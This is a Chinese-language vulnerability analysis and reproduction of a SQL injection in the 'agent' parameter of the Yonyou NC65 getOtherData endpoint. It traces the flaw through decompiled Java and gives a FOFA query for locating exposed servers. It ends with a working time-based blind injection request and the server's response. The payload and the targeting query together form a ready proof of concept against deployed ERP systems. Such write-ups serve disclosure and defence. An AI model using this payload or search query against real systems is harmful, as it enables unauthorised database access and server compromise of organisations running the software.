漏洞简介
用友 NC 是一种商业级的企业资源规划,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。用友NC getOtherData 接口处agent参数存在SQL注入漏洞,未授权的攻击者可以通过此漏洞获取数据库权限,进一步利用可导致服务器失陷。
影响版本
NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
根据官方漏洞通告,NC系统/portal/pt/oacoSchedulerEvents/getOtherData传入的参数agent存在SQL注入

先看 modules/oaco/lib/puboaco_schedulermgr/nc/bs/oa/oaco/scheduler/action/SchedulerEventsAction.java 里 getOtherData 的实现
@Action
public void getOtherData() throws BusinessException {
String sch_startdate = this.getRequest().getParameter("sch_sd");
String sch_enddate = this.getRequest().getParameter("sch_ed");
String agent = this.getRequest().getParameter("agent");
ISchedulerQueryService schedulerQueryService = (ISchedulerQueryService)NCLocator.getInstance().lookup(ISchedulerQueryService.class);
String xml = schedulerQueryService.getOtherData(agent, sch_startdate, sch_enddate);
CommonUtils.outputClientStreamWithGzip(this.getResponse(), "text/xml", xml);
}
将前端传入的 agent 参数传入 schedulerQueryService 的 getOtherData ,跟进看下
public String getOtherData(String pkuser, String startdate, String enddate) throws BusinessException {
return this.getDAO().getOtherData(pkuser, startdate, enddate);
}
modules/oaco/META-INF/lib/oaco_schedulermgr/nc/impl/oa/oaco/scheduler/SchedulerEventDAO.java
最终实现如下
public String getOtherData(String pkuser, String startdate, String enddate) throws BusinessException {
Map<String, String[]> sharingUsersMap = this.getDataOfUserSharingEvents(startdate, enddate, pkuser);
int taskListCount = 0;
StringBuilder sb = new StringBuilder();
sb.append("<?xml version='1.0' encoding='UTF-8' ?>");
sb.append("<data>");
sb.append("<share>");
Iterator<Map.Entry<String, String[]>> iter = sharingUsersMap.entrySet().iterator();
String[] tmp = null;
while (iter.hasNext()) {
Map.Entry<String, String[]> ent = iter.next();
tmp = ent.getValue();
sb.append("<user><name><![CDATA[").append(tmp[0]).append("]]></name><value><![CDATA[").append(ent.getKey()).append("]]></value><color><![CDATA[").append(tmp[2]).append("]]></color><stat><![CDATA[").append(tmp[1]).append("]]></stat></user>");
}
sb.append("</share>");
sb.append("<task>");
sb.append("<count><![CDATA[").append(taskListCount).append("]]></count>");
sb.append("</task>");
sb.append("</data>");
return sb.toString();
}
pkuser 带入 getDataOfUserSharingEvents
private Map<String, String[]> getDataOfUserSharingEvents(String startdate, String enddate, String agent) throws BusinessException {
String pk_user = StringUtils.isNotEmpty((String)agent) ? agent : (String)CommonUtils.getCurrentPkPerson();
ICpUserQry cpuserQuery = (ICpUserQry)NCLocator.getInstance().lookup(ICpUserQry.class);
ISchedulerCacheQueryService schedulerCacheQueryService = (ISchedulerCacheQueryService)NCLocator.getInstance().lookup(ISchedulerCacheQueryService.class);
String whereSql = this.getWhereSqlOfUserPksOfSharedEvent(pk_user, startdate, enddate);
CpUserVO[] cpusers = cpuserQuery.getUserByWhere("cuserid in(" + whereSql + ")");
HashMap<String, String[]> sharingUsersMap = new HashMap<String, String[]>();
if (cpusers == null) {
return sharingUsersMap;
}
for (int i = 0; i < cpusers.length; ++i) {
sharingUsersMap.put(cpusers[i].getCuserid(), new String[]{SQLHelper.getMuiltiLangValue((SuperVO)cpusers[i], (String)"user_name"), "false", ColorGenaretor.getColor((int)i)});
}
StringBuilder sb = new StringBuilder();
for (int i = 0; i < cpusers.length; ++i) {
sb.append("'").append(cpusers[i].getCuserid()).append("'").append(",");
}
if (StringUtils.isEmpty((String)sb.toString())) {
return sharingUsersMap;
}
SchedulerCacheVO[] cachevos = schedulerCacheQueryService.getSchedulerCaches("sourceobj='" + pk_user + "' and targetobj in(" + SchedulerUtils.trimEnd((String)sb.toString(), (String)",") + ") and cachekey='share_color'");
String[] tmp = null;
继续跟进 getWhereSqlOfUserPksOfSharedEvent
private String getWhereSqlOfUserPksOfSharedEvent(String pk_current_user, String start_date, String end_date) {
String scopeSetWhereSql = "";
try {
scopeSetWhereSql = ScopeSetUtil.getScopeSetWhereSql((String)pk_current_user, (String)"oacoscheduler", (String)"fk_share", (boolean)true, (boolean)true, (boolean)true, (boolean)true);
}
catch (LfwBusinessException e) {
Logger.error((Object)e.getMessage());
}
String sql = "select distinct a.pk_user from oaco_schedulerevent a where a.pk_user <> '%s' and a.pk_event in %s";
sql = sql + " and ('%s' between a.recurstartdate and a.recurenddate or '%s' between a.recurstartdate and a.recurenddate or a.recurstartdate between '%s' and '%s') ";
sql = String.format(sql, pk_current_user, scopeSetWhereSql, start_date, end_date, start_date, end_date);
return sql;
}
返回处理后的SQL语句,其中 pk_current_user 即初始的 agent 直接拼接进SQL语句,造成SQL注入漏洞,需要注意 cpuserQuery.getUserByWhere("cuserid in(" + whereSql + ")"); SQL 语句最终拼接进此in语句里,因此复现时需要闭合单引号和此括号。
漏洞复现
GET /portal/pt/oacoSchedulerEvents/getOtherData?agent=1')and+1=dbms_pipe.receive_message('RDS',3)--&pageId=login&sch_ed=1&sch_sd=1 HTTP/1.0
Host: nc65.mrxn.net
HTTP/1.1 200 OK
Date: Thu, 13 Jan 2025 10:21:37 GMT
Server: IBM_HTTP_Server
Cache-Control: no-cache
Vary: Accept-Encoding
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/xml
Content-Language: zh-CN
Content-Length: 108
<?xml version='1.0' encoding='UTF-8' ?><data><share></share><task><count><![CDATA[0]]></count></task></data>
成功延时 9 秒(因为会执行三次)

参考
https://security.yonyou.com/#/noticeInfo?id=587


